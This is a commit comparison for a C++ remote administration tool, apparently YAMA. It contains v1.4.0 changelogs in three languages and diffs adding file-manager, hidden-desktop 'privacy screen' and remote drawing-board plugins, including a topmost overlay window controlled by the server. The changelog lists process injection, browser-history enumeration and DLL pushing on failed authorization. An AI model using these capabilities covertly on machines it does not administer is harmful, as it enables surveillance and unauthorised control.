Compare commits
6
Commits
f72fda9b71
...
v1.4.0
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b89428bf35 | ||
|
|
3928dd76a3 | ||
|
|
d80d8f21da | ||
|
|
d269df9171 | ||
|
|
2fb6252285 | ||
|
|
2c3e1ca518 |
No files matched your search
@@ -378,6 +378,32 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
||||
|
||||
## 更新日志
|
||||
|
||||
### v1.4.0 (2026.10.7)
|
||||
|
||||
**SimplePlugins 功能迁移 & 远程交互增强 & MCP 扩展 & 国际化**
|
||||
|
||||
**新功能:**
|
||||
- **SimplePlugins 功能迁移(实验功能)**:文件管理 / 隐私屏幕 / 远程画板三个功能原生迁入客户端,作为在线主机右键「实验功能」子菜单交付,配 16x16 图标(位图数组 66→69)
|
||||
- **MCP 设备管理控制工具**:新增 kill_process / operate_window / control_service / power_action(单一 McpManage 开关 + 关闭只读),ready→confirm 生命周期 + WaitSendIdle 排空出站缓冲;MCP 设置新增「管理操作」勾选、主工具栏 MCP 入口
|
||||
- **远程交谈**:「远程交谈」工具栏按钮(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)打开双向聊天,支持服务端触发屏幕锁 / 解锁
|
||||
- **TCP/UDP 连接管理**:工具栏按钮列出受管主机 TCP/UDP 连接,右键强制断开 IPv4 TCP(iphlpapi 枚举 + CConnectionsDlg)
|
||||
- **主机管理**:迁移 CMachineManager(进程 / 窗口 / 网络 / 软件 / IE 历史 / 收藏夹 / 服务 / 任务 / hosts 枚举 + 进程注入),COMMAND_MACHINE_MANAGE 162
|
||||
- **授权失败触发器**:新增 TRIGGER_AUTH_FAILED 触发类型(与主机上线触发独立),授权失败时下发插件 DLL,受 ShouldLogAuth 去重约束
|
||||
- **iPhone 远程音频**:WebAudio + 自托管 opus-decoder WASM 解码,修复 iOS 无 MSE 静音
|
||||
- **画质与传输控制**:远程桌面 / 屏幕预览质量等级菜单(各 6 档可配置)+ 文件传输速度对话框(7 档 + 无限档,CMD_FILE_SPEED 252)
|
||||
- **Shine/HELL 协议选择**:分享 / 传输主机时可选协议,尾随冒号字段透传,旧客户端兼容
|
||||
- **Go Web UI 子路径部署**:YAMA_WEB_BASE_PATH 挂载整个 Web UI 到 URL 前缀
|
||||
- **国际化**:德语(de_DE)第 4 种语言、语言切换工具栏按钮、剩余字符串翻译补齐;远程桌面剪贴板按钮(全屏可达)
|
||||
|
||||
**改进:**
|
||||
- 通知设置关键词改为多行输入(每行一个,存储仍分号分隔,兼容既有 notify.ini)
|
||||
|
||||
**Bug 修复:**
|
||||
- HTTP 分片续包误置 m_bShouldUnmask 致后续包丢失(进程列表 kill 后空列表)
|
||||
- 即时消息弹窗标题乱码(GBK code_page 声明)
|
||||
- geo-IP 查询阻塞主机双击提示(仅本地库加载时查询 + 进程内缓存)
|
||||
- 主机管理 IE 历史字符串泄漏(CoTaskMemFree)、隐私屏幕 0xCC 乱码日志
|
||||
|
||||
### v1.3.9 (2026.9.2)
|
||||
|
||||
**MCP 服务端集成(AI 远程管理)& 远程控制与文件传输闭环 & 主控增强**
|
||||
|
||||
@@ -378,6 +378,32 @@ Valid : 2026-02-01 to 2028-02-01
|
||||
|
||||
## Changelog
|
||||
|
||||
### v1.4.0 (2026.10.7)
|
||||
|
||||
**SimplePlugins Feature Migration & Remote Interaction Enhancements & MCP Expansion & i18n**
|
||||
|
||||
**New features:**
|
||||
- **SimplePlugins feature migration (experimental)**: file management / privacy screen / drawing board migrated natively into the client and exposed as an "Experimental Features" right-click submenu, with 16x16 icons (bitmap array 66→69)
|
||||
- **MCP device management-control tools**: kill_process / operate_window / control_service / power_action behind a single McpManage flag (plus read-only off), with a ready→confirm lifecycle and WaitSendIdle buffer draining; "management operations" checkbox in MCP settings and an MCP toolbar entry
|
||||
- **Two-way remote chat**: a "远程交谈" toolbar button (COMMAND_CHAT 161 / TOKEN_CHAT_START 62) opens the chat dialog, with server-triggered screen lock / unlock
|
||||
- **TCP/UDP connection management**: a toolbar button lists the managed host's TCP/UDP connections with right-click force-disconnect for IPv4 TCP (iphlpapi enumeration + CConnectionsDlg)
|
||||
- **Machine management**: CMachineManager migrated (process / window / network / software / IE history / favorites / service / task / hosts enumeration plus process injection), COMMAND_MACHINE_MANAGE 162
|
||||
- **Auth-failed trigger**: new TRIGGER_AUTH_FAILED type (independent of the host-online trigger) pushes plugin DLLs on authorization failure, gated by ShouldLogAuth dedup
|
||||
- **iPhone remote audio**: Web Audio API + self-hosted opus-decoder WASM decoding fixes silent audio on iOS without MSE
|
||||
- **Quality & transfer controls**: configurable remote-desktop / screen-preview quality-level menus (six presets each) plus a file-transfer speed dialog (seven presets + unlimited, CMD_FILE_SPEED 252)
|
||||
- **Shine/HELL protocol selection**: choose the protocol when sharing / transferring a host, passed as a trailing colon field, backward compatible
|
||||
- **Go web UI subpath deployment**: YAMA_WEB_BASE_PATH mounts the whole web UI under a URL prefix
|
||||
- **i18n**: German (de_DE) as the fourth language, a language-switch toolbar button, remaining string translations; remote-desktop clipboard buttons (reachable in fullscreen)
|
||||
|
||||
**Improvements:**
|
||||
- Notification keyword input is now multi-line (one keyword per line; the stored format stays semicolon-separated, compatible with existing notify.ini)
|
||||
|
||||
**Bug fixes:**
|
||||
- HTTP continuation chunks mis-set m_bShouldUnmask, dropping subsequent packets (blank process list after kill)
|
||||
- Garbled instant-message popup title (GBK code_page declaration)
|
||||
- geo-IP lookup blocking the host double-click tooltip (only queried when a local DB is loaded, plus in-process caching)
|
||||
- Machine-management IE-history string leak (CoTaskMemFree) and privacy-screen 0xCC garbled logs
|
||||
|
||||
### v1.3.9 (2026.9.2)
|
||||
|
||||
**MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements**
|
||||
|
||||
@@ -378,6 +378,32 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
||||
|
||||
## 更新日誌
|
||||
|
||||
### v1.4.0 (2026.10.7)
|
||||
|
||||
**SimplePlugins 功能遷移 & 遠端互動增強 & MCP 擴充 & 國際化**
|
||||
|
||||
**新功能:**
|
||||
- **SimplePlugins 功能遷移(實驗功能)**:檔案管理 / 隱私螢幕 / 遠端畫板三個功能原生遷入用戶端,作為線上主機右鍵「實驗功能」子選單交付,配 16x16 圖示(位圖陣列 66→69)
|
||||
- **MCP 裝置管理控制工具**:新增 kill_process / operate_window / control_service / power_action(單一 McpManage 開關 + 關閉唯讀),ready→confirm 生命週期 + WaitSendIdle 排空出站緩衝;MCP 設定新增「管理操作」勾選、主工具列 MCP 入口
|
||||
- **遠端交談**:「遠端交談」工具列按鈕(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)開啟雙向交談,支援伺服端觸發螢幕鎖 / 解鎖
|
||||
- **TCP/UDP 連線管理**:工具列按鈕列出受管主機 TCP/UDP 連線,右鍵強制斷開 IPv4 TCP(iphlpapi 列舉 + CConnectionsDlg)
|
||||
- **主機管理**:遷移 CMachineManager(處理程序 / 視窗 / 網路 / 軟體 / IE 歷史 / 收藏夾 / 服務 / 排程工作 / hosts 列舉 + 處理程序注入),COMMAND_MACHINE_MANAGE 162
|
||||
- **授權失敗觸發器**:新增 TRIGGER_AUTH_FAILED 觸發類型(與主機上線觸發獨立),授權失敗時下發外掛程式 DLL,受 ShouldLogAuth 去重約束
|
||||
- **iPhone 遠端音訊**:WebAudio + 自託管 opus-decoder WASM 解碼,修復 iOS 無 MSE 靜音
|
||||
- **品質與傳輸控制**:遠端桌面 / 螢幕預覽品質等級選單(各 6 檔可設定)+ 檔案傳輸速度對話框(7 檔 + 無限檔,CMD_FILE_SPEED 252)
|
||||
- **Shine/HELL 協定選擇**:分享 / 傳輸主機時可選協定,尾隨冒號欄位透傳,舊用戶端相容
|
||||
- **Go Web UI 子路徑部署**:YAMA_WEB_BASE_PATH 掛載整個 Web UI 到 URL 前綴
|
||||
- **國際化**:德語(de_DE)第 4 種語言、語言切換工具列按鈕、剩餘字串翻譯補齊;遠端桌面剪貼簿按鈕(全螢幕可達)
|
||||
|
||||
**改進:**
|
||||
- 通知設定關鍵詞改為多行輸入(每行一個,儲存仍分號分隔,相容既有 notify.ini)
|
||||
|
||||
**Bug 修復:**
|
||||
- HTTP 後續封包誤置 m_bShouldUnmask 致後續封包遺失(處理程序列表 kill 後空列表)
|
||||
- 即時訊息快顯視窗標題亂碼(GBK code_page 宣告)
|
||||
- geo-IP 查詢阻塞主機雙擊提示(僅本機資料庫載入時查詢 + 處理程序內快取)
|
||||
- 主機管理 IE 歷史字串洩漏(CoTaskMemFree)、隱私螢幕 0xCC 亂碼記錄
|
||||
|
||||
### v1.3.9 (2026.9.2)
|
||||
|
||||
**MCP 伺服端整合(AI 遠端管理)& 遠端控制與檔案傳輸閉環 & 主控增強**
|
||||
|
||||
@@ -187,6 +187,13 @@
|
||||
<ClCompile Include="ConPTYManager.cpp" />
|
||||
<ClCompile Include="ConnectionsManager.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="file\FileManager.cpp">
|
||||
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
|
||||
</ClCompile>
|
||||
<ClCompile Include="file\MasterEncoder.cpp" />
|
||||
<ClCompile Include="file\zip.cpp" />
|
||||
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
|
||||
<ClCompile Include="DrawingBoardMgr.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="IOCPKCPClient.cpp" />
|
||||
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||
@@ -240,6 +247,13 @@
|
||||
<ClInclude Include="ConPTYManager.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="file\FileManager.h" />
|
||||
<ClInclude Include="file\MasterEncoder.h" />
|
||||
<ClInclude Include="file\zip.h" />
|
||||
<ClInclude Include="screenhide\ScreenManagerBase.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideManager.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideSpy.h" />
|
||||
<ClInclude Include="DrawingBoardMgr.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="IOCPKCPClient.h" />
|
||||
<ClInclude Include="IOCPUDPClient.h" />
|
||||
|
||||
@@ -4,6 +4,9 @@
|
||||
#include "Manager.h"
|
||||
#include "ScreenManager.h"
|
||||
#include "FileManager.h"
|
||||
#include "file/FileManager.h"
|
||||
#include "screenhide/ScreenHideManager.h"
|
||||
#include "DrawingBoardMgr.h"
|
||||
#include "TalkManager.h"
|
||||
#include "ChatManager.h"
|
||||
#include "MachineManager.h"
|
||||
@@ -113,6 +116,21 @@ DWORD WINAPI LoopMachineManager(LPVOID lParam)
|
||||
return LoopManager<CMachineManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<SimplePluginsFile::CFileManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<SimplePluginsScreenHide::CScreenHideManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<SimplePluginsDrawingBoard::DrawingBoardMgr, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopShellManager(LPVOID lParam)
|
||||
{
|
||||
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
|
||||
|
||||
@@ -30,6 +30,9 @@ DWORD WINAPI LoopFileManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopTalkManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopChatManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopMachineManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam);
|
||||
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam);
|
||||
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam);
|
||||
DWORD WINAPI LoopProcessManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopWindowManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopVideoManager(LPVOID lParam);
|
||||
|
||||
@@ -0,0 +1,290 @@
|
||||
#include "DrawingBoardMgr.h"
|
||||
#include <tchar.h>
|
||||
|
||||
#define MSG_CLEAR 999
|
||||
|
||||
namespace SimplePluginsDrawingBoard {
|
||||
|
||||
DrawingBoardMgr::DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user): CManager(ClientObject)
|
||||
{
|
||||
m_fAlpha = 150;
|
||||
m_bIsWorking = TRUE;
|
||||
m_bTopMost = TRUE;
|
||||
m_hWnd = NULL;
|
||||
m_textColor = RGB(255,0,0);
|
||||
m_Font = CreateFont(20, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
|
||||
DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
|
||||
DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, _T("Arial"));
|
||||
m_DrawPen = CreatePen(PS_SOLID, 2, RGB(0, 0, 0));
|
||||
__CreateThread(NULL, 0, DrawingThreadProc, this, 0, NULL);
|
||||
BYTE bToken = TOKEN_DRAWING_BOARD;
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||
}
|
||||
|
||||
DrawingBoardMgr::~DrawingBoardMgr()
|
||||
{
|
||||
m_bIsWorking = FALSE;
|
||||
while (m_hWnd)
|
||||
Sleep(200);
|
||||
DeleteObject(m_DrawPen);
|
||||
DeleteObject(m_Font);
|
||||
}
|
||||
|
||||
DWORD WINAPI DrawingBoardMgr::DrawingThreadProc(LPVOID lpParam)
|
||||
{
|
||||
Mprintf("Start DrawingThreadProc\n");
|
||||
DrawingBoardMgr* pThis = (DrawingBoardMgr*)lpParam;
|
||||
pThis->RunWindowThread();
|
||||
pThis->m_bIsWorking = FALSE;
|
||||
Mprintf("Stop DrawingThreadProc\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
void DrawingBoardMgr::RunWindowThread()
|
||||
{
|
||||
const TCHAR CLASS_NAME[] = _T("DrawingBoardClass");
|
||||
static bool s_classRegistered = false;
|
||||
if (!s_classRegistered) {
|
||||
WNDCLASSEX wc = {};
|
||||
wc.cbSize = sizeof(WNDCLASSEX);
|
||||
wc.lpfnWndProc = DrawingBoardMgr::WndProc;
|
||||
wc.hInstance = GetModuleHandle(NULL);
|
||||
wc.lpszClassName = CLASS_NAME;
|
||||
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
|
||||
wc.hIcon = NULL; // 标题栏图标
|
||||
wc.hIconSm = NULL; // 小图标(Alt+Tab 和任务栏缩略图)
|
||||
if (!RegisterClassEx(&wc)) {
|
||||
Mprintf("RegisterClassEx failed: %d\n", GetLastError());
|
||||
}
|
||||
s_classRegistered = true;
|
||||
}
|
||||
|
||||
DWORD dwStyle = WS_POPUP | WS_BORDER;
|
||||
m_hWnd = CreateWindowEx(
|
||||
WS_EX_TOOLWINDOW | WS_EX_LAYERED, CLASS_NAME, _T(""),
|
||||
dwStyle, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600,
|
||||
NULL, NULL, GetModuleHandle(NULL), this
|
||||
);
|
||||
if (m_hWnd == NULL) return;
|
||||
|
||||
LONG style = GetWindowLong(m_hWnd, GWL_STYLE);
|
||||
style |= WS_BORDER; // 增加窄边框
|
||||
style &= ~(WS_CAPTION | WS_THICKFRAME); // 去掉标题栏和可调整边框
|
||||
SetWindowLong(m_hWnd, GWL_STYLE, style);
|
||||
|
||||
// 去掉系统菜单
|
||||
SetWindowPos(m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
|
||||
BringWindowToTop(m_hWnd);
|
||||
|
||||
// 透明度
|
||||
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
|
||||
|
||||
ShowWindow(m_hWnd, SW_SHOW);
|
||||
UpdateWindow(m_hWnd);
|
||||
|
||||
MSG msg;
|
||||
while (GetMessage(&msg, NULL, 0, 0) && m_bIsWorking) {
|
||||
TranslateMessage(&msg);
|
||||
DispatchMessage(&msg);
|
||||
Sleep(1);
|
||||
}
|
||||
if (m_hWnd)
|
||||
PostMessage(m_hWnd, WM_CLOSE, 0, 0);
|
||||
m_hWnd = NULL; // 线程退出后,窗口已销毁
|
||||
}
|
||||
|
||||
LRESULT CALLBACK DrawingBoardMgr::WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
DrawingBoardMgr* pThis = nullptr;
|
||||
|
||||
if (msg == WM_NCCREATE) {
|
||||
CREATESTRUCT* cs = (CREATESTRUCT*)lParam;
|
||||
pThis = (DrawingBoardMgr*)cs->lpCreateParams;
|
||||
SetWindowLongPtr(hWnd, GWLP_USERDATA, (LONG_PTR)pThis);
|
||||
}
|
||||
else {
|
||||
pThis = (DrawingBoardMgr*)GetWindowLongPtr(hWnd, GWLP_USERDATA);
|
||||
}
|
||||
|
||||
if (pThis) {
|
||||
switch (msg) {
|
||||
case WM_GETICON:
|
||||
return NULL;
|
||||
case WM_WINDOWPOSCHANGED:
|
||||
{
|
||||
WINDOWPOS* pwp = (WINDOWPOS*)lParam;
|
||||
if (pThis->m_bTopMost && !(pwp->flags & SWP_NOZORDER)) {
|
||||
// 如果窗口层级被改变,重新设置为顶层
|
||||
SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0,
|
||||
SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case WM_PAINT:
|
||||
{
|
||||
PAINTSTRUCT ps;
|
||||
HDC hdc = BeginPaint(hWnd, &ps);
|
||||
|
||||
HPEN hOldPen = (HPEN)SelectObject(hdc, pThis->m_DrawPen);
|
||||
HFONT hOldFont = (HFONT)SelectObject(hdc, pThis->m_Font);
|
||||
pThis->m_locker.lock();
|
||||
auto paths = pThis->m_Paths;
|
||||
auto currentPath = pThis->m_CurrentPath;
|
||||
auto texts = pThis->m_Texts;
|
||||
pThis->m_locker.unlock();
|
||||
// 画所有历史路径
|
||||
for (const auto& path : paths)
|
||||
{
|
||||
if (path.size() >= 2)
|
||||
Polyline(hdc, path.data(), (int)path.size());
|
||||
}
|
||||
|
||||
// 画当前路径
|
||||
if (currentPath.size() >= 2)
|
||||
{
|
||||
Polyline(hdc, currentPath.data(), (int)currentPath.size());
|
||||
}
|
||||
|
||||
// 绘制文字
|
||||
SetTextColor(hdc, pThis->m_textColor); // 设置文本颜色
|
||||
SetBkMode(hdc, TRANSPARENT); // 设置透明背景
|
||||
for (const auto& entry : texts)
|
||||
TextOutA(hdc, entry.first.x, entry.first.y, entry.second.c_str(), entry.second.length());
|
||||
|
||||
SelectObject(hdc, hOldPen);
|
||||
SelectObject(hdc, hOldFont);
|
||||
|
||||
EndPaint(hWnd, &ps);
|
||||
return 0;
|
||||
}
|
||||
case WM_DESTROY:
|
||||
PostQuitMessage(0);
|
||||
return 0;
|
||||
case MSG_CLEAR:
|
||||
pThis->m_locker.lock();
|
||||
pThis->m_Paths.clear();
|
||||
pThis->m_CurrentPath.clear();
|
||||
pThis->m_Texts.clear();
|
||||
pThis->m_locker.unlock();
|
||||
InvalidateRect(hWnd, NULL, TRUE);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return DefWindowProc(hWnd, msg, wParam, lParam);
|
||||
}
|
||||
|
||||
VOID DrawingBoardMgr::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
if (ulLength < 1) return;
|
||||
|
||||
BYTE cmd = szBuffer[0];
|
||||
|
||||
switch (cmd)
|
||||
{
|
||||
case CMD_DRAW_POINT:
|
||||
if (ulLength == sizeof(POINT) + 1)
|
||||
{
|
||||
POINT pt = *(POINT*)(szBuffer + 1);
|
||||
m_locker.lock();
|
||||
m_CurrentPath.push_back(pt);
|
||||
m_locker.unlock();
|
||||
if (m_hWnd)
|
||||
InvalidateRect(m_hWnd, NULL, FALSE);
|
||||
}
|
||||
break;
|
||||
case CMD_DRAW_END:
|
||||
m_locker.lock();
|
||||
if (!m_CurrentPath.empty())
|
||||
{
|
||||
m_Paths.push_back(m_CurrentPath);
|
||||
m_CurrentPath.clear();
|
||||
if (m_hWnd)
|
||||
InvalidateRect(m_hWnd, NULL, FALSE);
|
||||
}
|
||||
m_locker.unlock();
|
||||
break;
|
||||
case CMD_TRANSPORT:
|
||||
m_fAlpha = ulLength > 1 ? szBuffer[1] : m_fAlpha;
|
||||
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
|
||||
break;
|
||||
case CMD_TOPMOST:
|
||||
m_bTopMost = ulLength > 1 ? szBuffer[1] : TRUE;
|
||||
SetWindowPos(m_hWnd, m_bTopMost ? HWND_TOPMOST : HWND_NOTOPMOST, 0, 0, 0, 0,
|
||||
SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
|
||||
break;
|
||||
case CMD_MOVEWINDOW:
|
||||
if (ulLength == sizeof(RECT) + 1)
|
||||
{
|
||||
RECT rect = *(RECT*)(szBuffer + 1);
|
||||
if (m_hWnd && IsWindow(m_hWnd))
|
||||
{
|
||||
::SetWindowPos(m_hWnd, HWND_TOP, rect.left, rect.top,
|
||||
rect.right-rect.left, rect.bottom-rect.top,
|
||||
SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
|
||||
}
|
||||
}
|
||||
break;
|
||||
case CMD_SET_SIZE: {
|
||||
if (ulLength == sizeof(int) * 2 + 1) {
|
||||
int x[2];
|
||||
memcpy(x, szBuffer + 1, sizeof(int) * 2);
|
||||
if (IsWindow(m_hWnd)) {
|
||||
::SetWindowPos(m_hWnd, NULL, 0, 0,
|
||||
x[0], x[1], SWP_NOZORDER | SWP_NOMOVE | SWP_NOACTIVATE);
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
case CMD_DRAW_CLEAR: {
|
||||
PostMessage(m_hWnd, MSG_CLEAR, 0, 0);;
|
||||
break;
|
||||
}
|
||||
case CMD_DRAW_TEXT: {
|
||||
ParseRemoteText(szBuffer + 1, ulLength - 1);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void DrawingBoardMgr::ParseRemoteText(PBYTE data, ULONG length)
|
||||
{
|
||||
if (length < sizeof(POINT)) return;
|
||||
|
||||
// 提取位置
|
||||
POINT pt = *(POINT*)data;
|
||||
PBYTE textData = data + sizeof(POINT);
|
||||
int textLen = (int)(length - sizeof(POINT));
|
||||
|
||||
// UTF-8 → WCHAR
|
||||
int wideLen = MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, NULL, 0);
|
||||
if (wideLen <= 0) return;
|
||||
|
||||
std::wstring wstr(wideLen, 0);
|
||||
MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, &wstr[0], wideLen);
|
||||
|
||||
#ifdef _UNICODE
|
||||
CString cstr(wstr.c_str());
|
||||
#else
|
||||
// 若项目使用多字节字符集
|
||||
int ansiLen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
|
||||
std::string cstr;
|
||||
if (ansiLen > 0)
|
||||
{
|
||||
std::string ansi(ansiLen - 1, 0);
|
||||
WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi[0], ansiLen - 1, NULL, NULL);
|
||||
cstr = ansi.c_str();
|
||||
}
|
||||
#endif
|
||||
|
||||
// 存入本地图形对象并刷新绘图区域
|
||||
m_locker.lock();
|
||||
m_Texts.push_back(std::make_pair(pt, cstr));
|
||||
m_locker.unlock();
|
||||
if (m_hWnd)
|
||||
InvalidateRect(m_hWnd, NULL, FALSE);
|
||||
}
|
||||
|
||||
} // namespace SimplePluginsDrawingBoard
|
||||
@@ -0,0 +1,36 @@
|
||||
#pragma once
|
||||
#include "Manager.h"
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include "common/locker.h"
|
||||
|
||||
namespace SimplePluginsDrawingBoard {
|
||||
|
||||
class DrawingBoardMgr : public CManager
|
||||
{
|
||||
public:
|
||||
DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
~DrawingBoardMgr();
|
||||
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
void ParseRemoteText(PBYTE data, ULONG length);
|
||||
|
||||
private:
|
||||
BYTE m_fAlpha; // 透明度: 0-全透明, 255-不透明
|
||||
BOOL m_bTopMost; // 顶层
|
||||
BOOL m_bIsWorking; // 线程状态
|
||||
HWND m_hWnd; // 窗口
|
||||
std::vector<std::vector<POINT>> m_Paths; // 历史路径集合,每条路径是一组点
|
||||
std::vector<POINT> m_CurrentPath; // 当前正在绘制的路径点集合
|
||||
std::vector<std::pair<POINT, std::string>> m_Texts;
|
||||
HFONT m_Font;
|
||||
COLORREF m_textColor;
|
||||
HPEN m_DrawPen;
|
||||
CLocker m_locker;
|
||||
static DWORD WINAPI DrawingThreadProc(LPVOID lpParam);
|
||||
void RunWindowThread();
|
||||
static LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
|
||||
};
|
||||
|
||||
} // namespace SimplePluginsDrawingBoard
|
||||
@@ -1177,6 +1177,36 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_FILE_MANAGER_PLUGIN: { // 插件文件管理(SimplePlugins 迁移)
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManagerPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_PRIVATE_SCREEN_PLUGIN: { // 隐私屏幕(虚拟桌面,SimplePlugins 迁移)
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopPrivateScreenPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_DRAWING_BOARD_PLUGIN: { // 远程画板(SimplePlugins 迁移)
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopDrawingBoardPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SHELL: {
|
||||
if (!ENABLE_SHELL) {
|
||||
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
|
||||
|
||||
+8
-8
@@ -31,20 +31,19 @@ FONT 10, "System", 0, 0, 0x0
|
||||
BEGIN
|
||||
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
|
||||
END
|
||||
|
||||
IDD_CHAT DIALOGEX 0, 0, 235, 155
|
||||
STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
||||
CAPTION "Chat"
|
||||
FONT 10, "System", 0, 0, 0x0
|
||||
BEGIN
|
||||
EDITTEXT IDC_EDIT_CHATLOG,3,3,229,107,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_VSCROLL | WS_BORDER | WS_TABSTOP | WS_VISIBLE
|
||||
EDITTEXT IDC_EDIT_NEWMSG,3,113,170,38,ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL | WS_BORDER | WS_TABSTOP | WS_VISIBLE
|
||||
PUSHBUTTON "Send",IDC_BUTTON_SEND,178,116,54,14,BS_DEFPUSHBUTTON | WS_TABSTOP | WS_VISIBLE
|
||||
PUSHBUTTON "End",IDC_BUTTON_END,178,133,54,14,WS_TABSTOP | WS_VISIBLE
|
||||
EDITTEXT IDC_EDIT_CHATLOG,3,3,229,107,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_VSCROLL
|
||||
EDITTEXT IDC_EDIT_NEWMSG,3,113,170,38,ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL
|
||||
DEFPUSHBUTTON "Send",IDC_BUTTON_SEND,178,116,54,14
|
||||
PUSHBUTTON "End",IDC_BUTTON_END,178,133,54,14
|
||||
END
|
||||
|
||||
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// DESIGNINFO
|
||||
@@ -56,6 +55,7 @@ BEGIN
|
||||
IDD_DIALOG, DIALOG
|
||||
BEGIN
|
||||
END
|
||||
|
||||
IDD_CHAT, DIALOG
|
||||
